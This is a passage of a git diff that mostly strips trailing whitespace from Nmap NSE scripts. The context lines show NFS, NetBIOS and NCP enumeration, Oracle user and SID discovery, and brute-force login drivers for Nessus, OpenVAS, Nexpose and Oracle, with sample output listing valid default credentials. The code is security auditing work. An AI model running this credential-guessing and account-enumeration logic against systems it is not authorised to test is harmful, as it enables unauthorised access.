~= op and "unmap" ~= op and "unmapall" ~= op ) then return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"") end - if ( ("map" == op or "unmap" == op ) and + if ( ("map" == op or "unmap" == op ) and ( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then return fail("The arguments pubport, privport and protocol are required") elseif ( "unmapall" == op and not(arg_protocol) ) then @@ -80,7 +80,7 @@ action = function(host, port) if ( "unmapall" == op ) then arg_pubport, arg_privport = 0, 0 end - + local status, response = helper:getWANIP() if ( not(status) ) then return fail("Failed to retrieve WAN IP") @@ -88,13 +88,13 @@ action = function(host, port) local wan_ip = response.ip local lan_ip = (nmap.get_interface_info(host.interface)).address - + local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime) - + if ( not(status) ) then return fail(response) end - + local output if ( "unmap" == op ) then output = ("Successfully unmapped %s %s:%d -> %s:%d"):format( @@ -110,7 +110,7 @@ action = function(host, port) table.insert(output, "WARNING: Requested public port could not be allocated") end end - + return stdnse.format_output(true, output) - + end diff --git a/scripts/nbstat.nse b/scripts/nbstat.nse index 719f509c3..b1f61326d 100644 --- a/scripts/nbstat.nse +++ b/scripts/nbstat.nse @@ -80,8 +80,8 @@ owns. author = "Brandon Enright, Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" --- Current version of this script was based entirly on Implementing CIFS, by --- Christopher R. Hertel. +-- Current version of this script was based entirly on Implementing CIFS, by +-- Christopher R. Hertel. categories = {"default", "discovery", "safe"} @@ -121,7 +121,7 @@ action = function(host) local response = {} local catch = function() return end local try = nmap.new_try(catch) - + -- Get the list of NetBIOS names status, names, statistics = netbios.do_nbstat(host) @@ -145,7 +145,7 @@ action = function(host) end local mac_prefixes = try(datafiles.parse_mac_prefixes()) - + -- Format the Mac address in the standard way if(#statistics >= 6) then -- MAC prefixes are matched on the first three bytes, all uppercase @@ -154,8 +154,8 @@ action = function(host) address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ), manuf = mac_prefixes[prefix] or "unknown" } - host.registry['nbstat'] = { - server_name = server_name, + host.registry['nbstat'] = { + server_name = server_name, mac = mac.address } -- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox diff --git a/scripts/ncp-enum-users.nse b/scripts/ncp-enum-users.nse index 6403b60dc..9d535f741 100644 --- a/scripts/ncp-enum-users.nse +++ b/scripts/ncp-enum-users.nse @@ -12,7 +12,7 @@ Retrieves a list of all eDirectory users from the Novell NetWare Core Protocol ( --@output -- PORT STATE SERVICE REASON -- 524/tcp open ncp syn-ack --- | ncp-enum-users: +-- | ncp-enum-users: -- | CN=admin.O=cqure -- | CN=cawi.OU=finance.O=cqure -- | CN=linux-l84tadmin.O=cqure @@ -42,9 +42,9 @@ action = function(host, port) status, resp = helper:search("[Root]", "User", "*") if ( not(status) ) then return stdnse.format_output(false, resp) end - + local output = {} - + for _, entry in ipairs(resp) do table.insert(output, entry.name) end diff --git a/scripts/ncp-serverinfo.nse b/scripts/ncp-serverinfo.nse index 702626307..fe5811db3 100644 --- a/scripts/ncp-serverinfo.nse +++ b/scripts/ncp-serverinfo.nse @@ -12,7 +12,7 @@ mounts, etc.) from the Novell NetWare Core Protocol (NCP) service. --@output -- PORT STATE SERVICE -- 524/tcp open ncp --- | ncp-serverinfo: +-- | ncp-serverinfo: -- | Server name: LINUX-L84T -- | Tree Name: IIT-LABTREE -- | OS Version: 5.70 (rev 7) @@ -44,7 +44,7 @@ action = function(host, port) status, resp = helper:getServerInfo() if ( not(status) ) then return stdnse.format_output(false, resp) end - + helper:close() return stdnse.format_output(true, resp) diff --git a/scripts/ndmp-fs-info.nse b/scripts/ndmp-fs-info.nse index 9caa63bd1..c1abc08e8 100644 --- a/scripts/ndmp-fs-info.nse +++ b/scripts/ndmp-fs-info.nse @@ -27,7 +27,7 @@ to support the protocol: -- @output -- PORT STATE SERVICE REASON VERSION -- 10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp --- | ndmp-fs-info: +-- | ndmp-fs-info: -- | FS Logical device Physical device -- | NTFS C: Device0000 -- | NTFS E: Device0000 @@ -50,14 +50,14 @@ action = function(host, port) local helper = ndmp.Helper:new(host, port) local status, msg = helper:connect() if ( not(status) ) then return fail("Failed to connect to server") end - + status, msg = helper:getFsInfo() if ( not(status) ) then return fail("Failed to get filesystem information from server") end helper:close() - + local result = tab.new(3) tab.addrow(result, "FS", "Logical device", "Physical device") - + for _, item in ipairs(msg.fsinfo) do if ( item.fs_logical_device and #item.fs_logical_device ~= 0 ) then if ( item and item.fs_type and item.fs_logical_device and item.fs_physical_device ) then diff --git a/scripts/ndmp-version.nse b/scripts/ndmp-version.nse index ca7582819..2dd8d5ea0 100644 --- a/scripts/ndmp-version.nse +++ b/scripts/ndmp-version.nse @@ -40,16 +40,16 @@ action = function(host, port) local helper = ndmp.Helper:new(host, port) local status, err = helper:connect() if ( not(status) ) then return fail("Failed to connect to server") end - + local hi, si status, hi = helper:getHostInfo() if ( not(status) ) then return fail("Failed to get host information from server") end - + status, si = helper:getServerInfo() if ( not(status) ) then return fail("Failed to get server information from server") end helper:close() - - local major, minor, build, smajor, sminor = hi.hostinfo.osver:match("Major Version=(%d+) Minor Version=(%d+) Build Number=(%d+) ServicePack Major=(%d+) ServicePack Minor=(%d+)") + + local major, minor, build, smajor, sminor = hi.hostinfo.osver:match("Major Version=(%d+) Minor Version=(%d+) Build Number=(%d+) ServicePack Major=(%d+) ServicePack Minor=(%d+)") port.version.name = "ndmp" port.version.product = vendorLookup(si.serverinfo.vendor) port.version.ostype = hi.hostinfo.ostype @@ -59,5 +59,5 @@ action = function(host, port) if ( major and minor and build and smajor and sminor ) then port.version.extrainfo = port.version.extrainfo .. ("OS ver: %d.%d; OS Build: %d; OS Service Pack: %d"):format(major, minor, build, smajor) end - nmap.set_port_version(host, port) + nmap.set_port_version(host, port) end diff --git a/scripts/nessus-brute.nse b/scripts/nessus-brute.nse index 2d75744f3..01120c13c 100644 --- a/scripts/nessus-brute.nse +++ b/scripts/nessus-brute.nse @@ -14,7 +14,7 @@ Performs brute force password auditing against a Nessus vulnerability scanning d -- @output -- PORT STATE SERVICE -- 1241/tcp open nessus --- | nessus-brute: +-- | nessus-brute: -- | Accounts -- | nessus:nessus - Valid credentials -- | Statistics @@ -36,7 +36,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(1241, "nessus", "tcp") -Driver = +Driver = { new = function(self, host, port) @@ -45,7 +45,7 @@ Driver = self.__index = self return o end, - + connect = function( self ) self.socket = nmap.new_socket() if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then @@ -78,28 +78,28 @@ Driver = err:setRetry( true ) return false, err end - + status = self.socket:send(username .. "\n") if ( not(status) ) then local err = brute.Error:new( "Failed to send username to server" ) err:setAbort( true ) return false, err end - + status, line = self.socket:receive() if ( not(status) or line ~= "Password : ") then local err = brute.Error:new( "Expected \"Password : \", got something else" ) err:setRetry( true ) return false, err end - + status = self.socket:send(password) if ( not(status) ) then local err = brute.Error:new( "Failed to send password to server" ) err:setAbort( true ) return false, err end - + -- the line feed has to be sent separate like this, otherwise we don't -- receive the server response and the server simply hangs up status = self.socket:send("\n") @@ -108,7 +108,7 @@ Driver = err:setAbort( true ) return false, err end - + -- we force a brief incorrect statement just to get an error message to -- confirm that we've succesfully authenticated to the server local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n" @@ -126,24 +126,24 @@ Driver = if ( not(status) ) then return false, brute.Error:new( "Incorrect password" ) end - + if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then return true, brute.Account:new(username, password, creds.State.VALID) end - + return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function( self ) self.socket:close() end, - + } action = function(host, port) local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME + engine.options.script_name = SCRIPT_NAME -- the nessus service doesn't appear to do very well with multiple threads engine:setMaxThreads(1) diff --git a/scripts/nessus-xmlrpc-brute.nse b/scripts/nessus-xmlrpc-brute.nse index 3f0d9e5bb..f758b4c9a 100644 --- a/scripts/nessus-xmlrpc-brute.nse +++ b/scripts/nessus-xmlrpc-brute.nse @@ -13,7 +13,7 @@ Performs brute force password auditing against a Nessus vulnerability scanning d -- @output -- PORT STATE SERVICE REASON -- 8834/tcp open unknown syn-ack --- | nessus-xmlrpc-brute: +-- | nessus-xmlrpc-brute: -- | Accounts -- | nessus:nessus - Valid credentials -- | Statistics @@ -50,7 +50,7 @@ local function authenticate(host, port, username, password) local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data local socket = nmap.new_socket() socket:set_timeout(arg_timeout) - + local status, err = socket:connect(host, port) if ( not(status) ) then return false, "Failed to connect to server" @@ -67,7 +67,7 @@ local function authenticate(host, port, username, password) return status, response end -Driver = +Driver = { new = function (self, host, port ) local o = { host = host, port = port } @@ -79,7 +79,7 @@ Driver = connect = function ( self ) return true end, login = function( self, username, password ) - + local status, response = authenticate(self.host, self.port, username, password) if ( status and response ) then if ( response:match("^HTTP/1.1 200 OK.*OK") ) then @@ -108,17 +108,17 @@ action = function(host, port) -- The server answers non-ssl connections as legitimate http stating that -- the server should be connected to using https on the same port. ugly. if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then - port.protocol = "ssl" + port.protocol = "ssl" status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe") if ( not(status) ) then return fail(response) end end - + if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*ERROR")) ) then return fail("Failed to detect Nessus Web server") end - + local engine = brute.Engine:new(Driver, host, port) if ( arg_threads ) then engine:setMaxThreads(arg_threads) diff --git a/scripts/netbus-info.nse b/scripts/netbus-info.nse index 10dfbd299..0e38d8747 100644 --- a/scripts/netbus-info.nse +++ b/scripts/netbus-info.nse @@ -9,7 +9,7 @@ Opens a connection to a NetBus server and extracts information about the host and the NetBus service itself. The extracted host information includes a list of running -applications, and the hosts sound volume settings. +applications, and the hosts sound volume settings. The extracted service information includes it's access control list (acl), server information, and setup. The acl is a list of IP @@ -29,7 +29,7 @@ and an smtp-server used for notification delivery. -- -- @output -- 12345/tcp open netbus --- | netbus-info: +-- | netbus-info: -- | ACL -- | 127.0.0.1 -- | APPLICATIONS diff --git a/scripts/nexpose-brute.nse b/scripts/nexpose-brute.nse index 3ba8510c3..9af2ab0f8 100644 --- a/scripts/nexpose-brute.nse +++ b/scripts/nexpose-brute.nse @@ -17,7 +17,7 @@ Performs brute force password auditing against a Nexpose vulnerability scanner u -- @output -- PORT STATE SERVICE REASON VERSION -- 3780/tcp open ssl/nexpose syn-ack NeXpose NSC 0.6.4 --- | nexpose-brute: +-- | nexpose-brute: -- | Accounts -- | nxadmin:nxadmin - Valid credentials -- | Statistics @@ -25,7 +25,7 @@ Performs brute force password auditing against a Nexpose vulnerability scanner u -- -- As the Nexpose application enforces account lockout after 4 incorrect login -- attempts, the script performs only 3 guesses per default. This can be --- altered by supplying the brute.guesses argument a different +-- altered by supplying the brute.guesses argument a different -- value or 0 (zero) to guess the whole dictionary. author = "Vlatko Kosturjak" @@ -37,7 +37,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(3780, "nexpose", "tcp") -Driver = +Driver = { new = function (self, host, port) local o = { host = host, port = port } diff --git a/scripts/nfs-ls.nse b/scripts/nfs-ls.nse index ae68aebed..feedff87e 100644 --- a/scripts/nfs-ls.nse +++ b/scripts/nfs-ls.nse @@ -10,7 +10,7 @@ description = [[ Attempts to get useful information about files from NFS exports. The output is intended to resemble the output of ls. -The script starts by enumerating and mounting the remote NFS exports. After +The script starts by enumerating and mounting the remote NFS exports. After that it performs an NFS GETATTR procedure call for each mounted point in order to get its ACLs. For each mounted directory the script will try to list its file entries @@ -67,7 +67,7 @@ These access permissions are shown only with NFSv3: -- * a: last access time (atime) -- * c: last change time (ctime) -- The default value is m (mtime). - + -- Created 05/28/2010 - v0.1 - combined nfs-dirlist and nfs-acls scripts -- Revised 06/04/2010 - v0.2 - make NFS exports listing with their acls -- default action. @@ -79,7 +79,7 @@ These access permissions are shown only with NFSv3: -- library. -- Revised 06/27/2010 - v0.7 - added NFSv3 ACCESS support. -- Revised 06/28/2010 - v0.8 - added NFSv2 support. --- +-- author = "Patrik Karlsson, Djalal Harouni" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -197,7 +197,7 @@ local function table_dirlist(nfs, mount, dirlist) for _, v in pairs(files) do table.insert(ret, attrs[v]) end - + return ret end @@ -221,7 +221,7 @@ local function nfs_ls(nfs, mount, results, access) if nfs_comm == nil then rpc.Helper.UnmountPath(mnt_comm, mount) return false, status - end + end -- check if NFS and Mount versions are compatible -- RPC library will check if the Mount and NFS versions are supported @@ -335,7 +335,7 @@ local mainaction = function(host) if nfs_info.maxfiles > 0 then local args = {} args['name'] = 'Arguments:' - table.insert(args, + table.insert(args, string.format("maxfiles: %d (file listing output limited)", nfs_info.maxfiles)) table.insert(o, args) diff --git a/scripts/nfs-showmount.nse b/scripts/nfs-showmount.nse index f5953dc4e..ac28da557 100644 --- a/scripts/nfs-showmount.nse +++ b/scripts/nfs-showmount.nse @@ -12,7 +12,7 @@ Shows NFS exports, like the showmount -e command. -- @output -- PORT STATE SERVICE -- 111/tcp open rpcbind --- | nfs-showmount: +-- | nfs-showmount: -- | /home/storage/backup 10.46.200.0/255.255.255.0 -- |_ /home 1.2.3.4/255.255.255.255 10.46.200.0/255.255.255.0 -- @@ -70,9 +70,9 @@ end action = function(host, port) - local status, mounts, proto + local status, mounts, proto local result = {} - + if port.service == "mountd" then status, mounts = get_exports( host, port ) else @@ -88,7 +88,7 @@ action = function(host, port) entry = entry .. " " .. stdnse.strjoin(" ", v) table.insert( result, entry ) end - + return stdnse.format_output( true, result ) - + end diff --git a/scripts/nfs-statfs.nse b/scripts/nfs-statfs.nse index 1337d34ae..53aa0c9c3 100644 --- a/scripts/nfs-statfs.nse +++ b/scripts/nfs-statfs.nse @@ -179,7 +179,7 @@ local function nfs_filesystem_info(nfs, mount, filesystem) if nfs_comm == nil then rpc.Helper.UnmountPath(mnt_comm, mount) return false, status - end + end nfs.version = nfs_comm.version @@ -195,8 +195,8 @@ local function nfs_filesystem_info(nfs, mount, filesystem) elseif nfs_comm.version == 3 then status, res = nfsobj:FsStat(nfs_comm, fhandle) end - - if status then + + if status then status, res = table_fsstat(nfs, mount, res) if status then for k, v in pairs(res) do @@ -259,7 +259,7 @@ mainaction = function(host) string.format("%s: %s", v.name, err)) end end - + return stdnse.format_output(true, report(nfs_info, fs_info)) end diff --git a/scripts/nping-brute.nse b/scripts/nping-brute.nse index b126f66a2..8bbe20a76 100644 --- a/scripts/nping-brute.nse +++ b/scripts/nping-brute.nse @@ -21,7 +21,7 @@ documentation. -- -- @output -- 9929/tcp open nping-echo --- | nping-brute: +-- | nping-brute: -- | Accounts -- | 123abc => Valid credentials -- | Statistics @@ -54,12 +54,12 @@ local function readmessage(socket, length) return msg end -Driver = +Driver = { NEP_VERSION = 0x01, AES_128_CBC = "aes-128-cbc", SHA256 = "sha256", - + new = function(self, host, port) local o = {} setmetatable(o, self) @@ -68,7 +68,7 @@ Driver = o.port = port return o end, - + nepkey = function(self, password, nonce, typeid) local seed = password .. nonce .. typeid local h = openssl.digest(self.SHA256, seed) @@ -78,12 +78,12 @@ Driver = local _, key = bin.unpack("A16", h) return key end, - + getservernonce = function(self, serverhs) local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)} - return parts[7] + return parts[7] end, - + chsbody = function(self) local IP4 = 0x04 local IP6 = 0x06 @@ -95,13 +95,13 @@ Driver = end return bin.pack("ACx15", target, family) end, - + clienths = function(self, snonce, password) local NEP_HANDSHAKE_CLIENT = 0x02 local NEP_HANDSHAKE_CLIENT_LEN = 36 local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server" local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server" - + local now = nmap.clock() local seqb = randombytes(4) local cnonce = randombytes(32) @@ -113,7 +113,7 @@ Driver = local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain) local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce) local mac = openssl.hmac(self.SHA256, mackey, head .. plain) - + return head .. crypted .. mac end, @@ -133,7 +133,7 @@ Driver = end return true end, - + connect = function(self) self.socket = nmap.new_socket() return self.socket:connect(self.host, self.port) @@ -145,7 +145,7 @@ Driver = end return false, brute.Error:new("Incorrect password") end, - + disconnect = function(self) return self.socket:close() end, diff --git a/scripts/ntp-info.nse b/scripts/ntp-info.nse index d5dd61a17..595c05612 100644 --- a/scripts/ntp-info.nse +++ b/scripts/ntp-info.nse @@ -24,7 +24,7 @@ documentation of the protocol. -- @output -- PORT STATE SERVICE VERSION -- 123/udp open ntp NTP v4 --- | ntp-info: +-- | ntp-info: -- | receive time stamp: Sat Dec 12 16:22:41 2009 -- | version: ntpd 4.2.4p4@1.1520-o Wed May 13 21:06:31 UTC 2009 (1) -- | processor: x86_64 @@ -74,11 +74,11 @@ action = function(host, port) local output = stdnse.output_table() -- This is a ntp v4 mode3 (client) date/time request. - local treq = string.char(0xe3, 0x00, 0x04, 0xfa, 0x00, 0x01, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + local treq = string.char(0xe3, 0x00, 0x04, 0xfa, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00) -- This is a ntp v2 mode6 (control) rl (readlist/READVAR(2)) request. See diff --git a/scripts/openlookup-info.nse b/scripts/openlookup-info.nse index 6c259e5f3..0a57ce5d0 100644 --- a/scripts/openlookup-info.nse +++ b/scripts/openlookup-info.nse @@ -15,7 +15,7 @@ Parses and displays the banner information of an OpenLookup (network key-value s -- -- @output -- 5850/tcp open openlookup --- | openlookup-info: +-- | openlookup-info: -- | sync port: 5850 -- | name: Paradise, Arizona -- | your address: 127.0.0.1:50162 @@ -82,7 +82,7 @@ local function parsestring(data) if string.sub(data, 1, 1) ~= "s" then return end - return string.sub(data, 2) + return string.sub(data, 2) end -- parses an NSON int, float, or string diff --git a/scripts/openvas-otp-brute.nse b/scripts/openvas-otp-brute.nse index 53de084d1..44823ff4d 100644 --- a/scripts/openvas-otp-brute.nse +++ b/scripts/openvas-otp-brute.nse @@ -14,8 +14,8 @@ Performs brute force password auditing against a OpenVAS vulnerability scanner d --- -- @output -- PORT STATE SERVICE REASON VERSION --- 9391/tcp open ssl/openvas syn-ack --- | openvas-otp-brute: +-- 9391/tcp open ssl/openvas syn-ack +-- | openvas-otp-brute: -- | Accounts -- | openvas:openvas - Valid credentials -- | Statistics @@ -32,7 +32,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service({9390,9391}, "openvas", "tcp") -Driver = +Driver = { new = function (self, host, port) local o = { host = host, port = port } @@ -42,11 +42,11 @@ Driver = end, connect = function ( self ) - self.socket = nmap.new_socket() + self.socket = nmap.new_socket() if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then return false end - return true + return true end, login = function( self, username, password ) @@ -58,7 +58,7 @@ Driver = return false, err end - local response + local response status, response = self.socket:receive_buf("\r?\n", false) if ( not(status) or response ~= "< OTP/1.0 >" ) then local err = brute.Error:new( "Bad handshake from server: "..response ) @@ -88,7 +88,7 @@ Driver = stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password) return false, brute.Error:new( "Bad login" ) elseif (string.match(line,"SERVER <|>")) then - + stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password) return true, brute.Account:new(username, password, creds.State.VALID) end diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse index b3529c196..63e1539ee 100644 --- a/scripts/oracle-brute-stealth.nse +++ b/scripts/oracle-brute-stealth.nse @@ -29,7 +29,7 @@ password. -- @output -- PORT STATE SERVICE REASON -- 1521/tcp open oracle syn-ack --- | oracle-brute-stealth: +-- | oracle-brute-stealth: -- | Accounts -- | dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials -- | nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials @@ -152,7 +152,7 @@ action = function(host, port) if ( not(sid) ) then return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)" end - + if ( arg_johnfile ) then johnfile = io.open(arg_johnfile, "w") if ( not(johnfile) ) then diff --git a/scripts/oracle-brute.nse b/scripts/oracle-brute.nse index ba5e5fa7d..1dac17044 100644 --- a/scripts/oracle-brute.nse +++ b/scripts/oracle-brute.nse @@ -36,7 +36,7 @@ result in a large number of accounts being locked out on the database server. -- @output -- PORT STATE SERVICE REASON -- 1521/tcp open oracle syn-ack --- | oracle-brute: +-- | oracle-brute: -- | Accounts -- | system:powell => Account locked -- | haxxor:haxxor => Valid credentials @@ -51,7 +51,7 @@ result in a large number of accounts being locked out on the database server. -- -- Version 0.3 -- Created 07/12/2010 - v0.1 - created by Patrik Karlsson --- Revised 07/23/2010 - v0.2 - added script usage and output and +-- Revised 07/23/2010 - v0.2 - added script usage and output and -- - oracle-brute.sid argument -- Revised 07/25/2011 - v0.3 - added support for guessing default accounts -- changed code to use ConnectionPool @@ -76,7 +76,7 @@ portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open") local ConnectionPool = {} local sysdba = {} -Driver = +Driver = { new = function(self, host, port, sid ) @@ -85,19 +85,19 @@ Driver = self.__index = self return o end, - + --- Connects performs protocol negotiation -- -- @return true on success, false on failure - connect = function( self ) + connect = function( self ) local MAX_RETRIES = 10 local tries = MAX_RETRIES - + self.helper = ConnectionPool[coroutine.running()] if ( self.helper ) then return true end - + self.helper = tns.Helper:new( self.host, self.port, self.sid ) - + -- This loop is intended for handling failed connections -- A connection may fail for a number of different reasons. -- For the moment, we're just handling the error code 12520 @@ -119,14 +119,14 @@ Driver = tries = tries - 1 stdnse.sleep(1) until( tries == 0 or data ~= "12520" ) - + if ( status ) then ConnectionPool[coroutine.running()] = self.helper end - + return status, data end, - + --- Attempts to login to the Oracle server -- -- @param username string containing the login username @@ -136,11 +136,11 @@ Driver = -- brute.Account object on success login = function( self, username, password ) local status, data = self.helper:Login( username, password ) - + if ( sysdba[username] ) then return false, brute.Error:new("Account already discovered") end - + if ( status ) then self.helper:Close() ConnectionPool[coroutine.running()] = nil @@ -168,12 +168,12 @@ Driver = return false, brute.Error:new( data ) end, - + --- Disconnects and terminates the Oracle TNS communication disconnect = function( self ) return true end, - + } @@ -183,7 +183,7 @@ action = function(host, port) stdnse.get_script_args('tns.sid') local engine = brute.Engine:new(Driver, host, port, sid) local mode = "default" - + if ( not(sid) ) then return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)" end @@ -217,9 +217,9 @@ action = function(host, port) engine.iterator = brute.Iterators.credential_iterator(f) end - + engine.options.script_name = SCRIPT_NAME status, result = engine:start() - + return result end diff --git a/scripts/oracle-enum-users.nse b/scripts/oracle-enum-users.nse index a20c18b6b..21b67ab95 100644 --- a/scripts/oracle-enum-users.nse +++ b/scripts/oracle-enum-users.nse @@ -23,7 +23,7 @@ servers (this bug was fixed in Oracle's October 2009 Critical Patch Update). -- @output -- PORT STATE SERVICE REASON -- 1521/tcp open oracle syn-ack --- | oracle-enum-users: +-- | oracle-enum-users: -- | haxxor is a valid user account -- | noob is a valid user account -- |_ patrik is a valid user account @@ -47,34 +47,34 @@ categories = {"intrusive", "auth"} portrule = shortport.port_or_service(1521, 'oracle-tns' ) local function checkAccount( host, port, user ) - + local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] ) local status, data = helper:Connect() local tnscomm, auth local auth_options = tns.AuthOptions:new() - - + + if ( not(status) ) then return false, data end -- A bit ugly, the helper should probably provide a getSocket function tnscomm = tns.Comm:new( helper.tnssocket ) - + status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) ) if ( not(status) ) then return false, auth end helper:Close() - - return true, auth["AUTH_VFR_DATA"] + + return true, auth["AUTH_VFR_DATA"] end ----Generates a random string of the requested length. This can be used to check how hosts react to --- weird username/password combinations. ---@param length (optional) The length of the string to return. Default: 8. ---@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. ---@return The random string. +---Generates a random string of the requested length. This can be used to check how hosts react to +-- weird username/password combinations. +--@param length (optional) The length of the string to return. Default: 8. +--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. +--@return The random string. local function get_random_string(length, set) if(length == nil) then length = 8 @@ -104,16 +104,16 @@ action = function( host, port ) local count = 0 local result = {} local usernames - + if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)" end - + status, usernames = unpwdb.usernames() if( not(status) ) then return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary") end - + -- Check for some known good accounts for _, user in ipairs( known_good_accounts ) do status, salt = checkAccount(host, port, user) @@ -122,12 +122,12 @@ action = function( host, port ) count = count + #salt end end - + -- did we atleast get a single salt back? if ( count < 20 ) then return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)") end - + -- Check for some known bad accounts count = 0 for i=1, 10 do @@ -143,7 +143,7 @@ action = function( host, port ) if ( count > 60 ) then return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10)) end - + for user in usernames do status, salt = checkAccount(host, port, user) if ( not(status) ) then return salt end @@ -151,10 +151,10 @@ action = function( host, port ) table.insert( result, ("%s is a valid user account"):format(user)) end end - + if ( #result == 0 ) then table.insert( result, "Failed to find any valid user accounts") end - + return stdnse.format_output(true, result) end diff --git a/scripts/oracle-sid-brute.nse b/scripts/oracle-sid-brute.nse index cfc5cb15e..54fc8357c 100644 --- a/scripts/oracle-sid-brute.nse +++ b/scripts/oracle-sid-brute.nse @@ -24,7 +24,7 @@ author, Alexander Kornbrust (http://seclists.org/nmap-dev/2009/q4/645). -- @output -- PORT STATE SERVICE REASON -- 1521/tcp open oracle syn-ack --- | oracle-sid-brute: +-- | oracle-sid-brute: -- | orcl -- | prod -- |_ devel @@ -55,14 +55,14 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11} -- local function create_tns_header(packetType, packetLength) - local request = bin.pack( ">SSCCS", + local request = bin.pack( ">SSCCS", packetLength + 34, -- Packet Length 0, -- Packet Checksum tns_type[packetType], -- Packet Type 0, -- Reserved Byte 0 -- Header Checksum ) - + return request end @@ -76,12 +76,12 @@ end -- @return string containing the raw TNS packet -- local function create_connect_packet( host_ip, port_no, sid ) - + local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")" connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))" connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")" connect_data = connect_data .. "(PORT=" .. port_no .. ")))" - + local data = bin.pack(">SSSSSSSSSSICCA", 308, -- Version 300, -- Version (Compatibility) @@ -95,32 +95,32 @@ local function create_connect_packet( host_ip, port_no, sid ) 34, -- Offset to connect data 0, -- Maximum Receivable Connect Data 1, -- Connect Flags 0 - 1, -- Connect Flags 1 + 1, -- Connect Flags 1 connect_data ) - + local header = create_tns_header("CONNECT", connect_data:len() ) return header .. data - + end --- Process a TNS response and extracts Length, Checksum and Type -- --- @param packet string as a raw TNS response +-- @param packet string as a raw TNS response -- @return table with Length, Checksum and Type set -- local function process_tns_packet( packet ) local tnspacket = {} - + -- just pull out the bare minimum to be able to match local _ _, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet) - + return tnspacket - + end action = function(host, port) @@ -131,21 +131,21 @@ action = function(host, port) local try = nmap.new_try(catch) local request, response, tns_packet local sidfile - + socket:set_timeout(5000) -- open the sid file specified by the user or fallback to the default oracle-sids file local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids") - + sidfile = io.open(sidfilename) - + if not sidfile then return end - + -- read sids line-by-line from the sidfile for sid in sidfile:lines() do - + -- check for comments if not sid:match("#!comment:") then @@ -161,7 +161,7 @@ action = function(host, port) end try(socket:close()) - + end end diff --git a/scripts/p2p-conficker.nse b/scripts/p2p-conficker.nse index cbfae58dd..b2e5e4d52 100644 --- a/scripts/p2p-conficker.nse +++ b/scripts/p2p-conficker.nse @@ -10,36 +10,36 @@ local string = require "string" local table = require "table" description = [[ -Checks if a host is infected with 